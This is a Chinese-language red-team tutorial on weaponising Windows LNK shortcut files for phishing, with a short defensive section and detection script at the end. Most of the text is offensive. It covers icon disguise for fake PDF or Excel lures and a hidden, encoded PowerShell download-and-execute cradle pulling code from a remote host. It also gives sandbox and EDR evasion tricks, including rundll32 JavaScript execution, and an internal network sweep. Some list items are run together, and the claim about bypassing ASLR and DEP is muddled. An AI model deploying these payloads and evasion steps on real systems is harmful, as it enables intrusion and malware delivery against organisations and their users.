LNK文件作为Windows系统中的快捷方式载体,其本质是一个包含目标路径、启动参数和图标引用的复合文件结构。在红队作战中,攻击者常利用其三个关键特性构建攻击链:图标伪装实现视觉欺骗、参数隐藏规避基础检测、命令拼接完成复杂攻击载荷投递。我曾在一个企业内网渗透测试项目中,仅用48小时就通过精心设计的LNK钓鱼突破了目标的三层网络隔离。
从技术实现层面看,LNK钓鱼的核心在于对TargetPath和Arguments参数的操控。当用户双击LNK文件时,系统会执行TargetPath指定的程序(通常是cmd.exe或powershell.exe),并将Arguments作为命令行参数传递。这相当于给了攻击者一个合法的命令执行白名单——因为系统默认信任快捷方式的执行行为。实测发现,即使启用了ASLR和DEP保护,这种执行方式仍能绕过大多数内存防护机制。
图标伪装是钓鱼成功的第一道门槛。通过PowerShell脚本控制IconLocation参数时,我推荐使用%SystemRoot%\System32\imageres.dll这个资源库——它包含超过200个常用文件类型的标准图标。例如设置,67对应PDF图标,,102对应Excel图标。有个实战技巧:先右键查看真实文档的属性获取其图标哈希值,再在脚本中复现完全一致的图标索引。
制作高仿真诱饵时,这些细节至关重要:
报销明细.pdf.lnk这类业务相关命名传统LNK攻击直接在参数中写入恶意URL,这会被终端防护软件轻易拦截。我们在最近的红队演练中采用分阶段载荷投递方案:
powershell复制$key = 'B3A7C2D9F1E5G8H0'
$encCmd = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes(
"(New-Object Net.WebClient).DownloadString('http://cdn.example.com/conf.txt') | Invoke-Expression"
))
$Shortcut.Arguments = "/c powershell -Win hid -enc $encCmd & start notepad.exe"
这个方案有三大优势:
在针对金融客户的测试中,我们发现主流EDR会对LNK文件进行静态分析和动态沙箱检测。有效绕过方法包括:
if "%PROCESSOR_LEVEL%"=="6"判断处理器世代timeout /t 60 /nobreak推迟恶意代码运行rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication执行混淆后的JS代码在内网横向阶段,我们改造LNK文件实现无端口扫描的拓扑探测。通过设置TargetPath为:
cmd复制cmd.exe /c for /l %i in (1,1,255) do @ping -n 1 192.168.1.%i | find "TTL=" >> \\文件服务器\共享\result.txt
这种设计巧妙之处在于:
从蓝队经验来看,有效检测LNK攻击需要多层布防:
静态检测指标:
TargetPath是否指向cmd/powershell等解释器动态行为监控:
企业可部署如下PowerShell检测脚本定期扫描共享目录:
powershell复制Get-ChildItem -Path \\fileserver\ -Include *.lnk -Recurse | ForEach-Object {
$shell = New-Object -ComObject WScript.Shell
$lnk = $shell.CreateShortcut($_.FullName)
if ($lnk.TargetPath -match 'cmd\.exe|powershell\.exe' -and $lnk.Arguments.Length -gt 50) {
Write-Warning "可疑LNK文件: $($_.FullName)"
$lnk | Select-Object TargetPath,Arguments,IconLocation | Format-List
}
}
在最近的攻防演练中,我们发现攻击方开始使用LNK文件触发WSH脚本,再通过VBScript调用.NET Assembly执行内存载荷。这种多层间接调用使得传统杀毒软件完全失效,唯有EDR的全链路行为监控才能有效捕捉。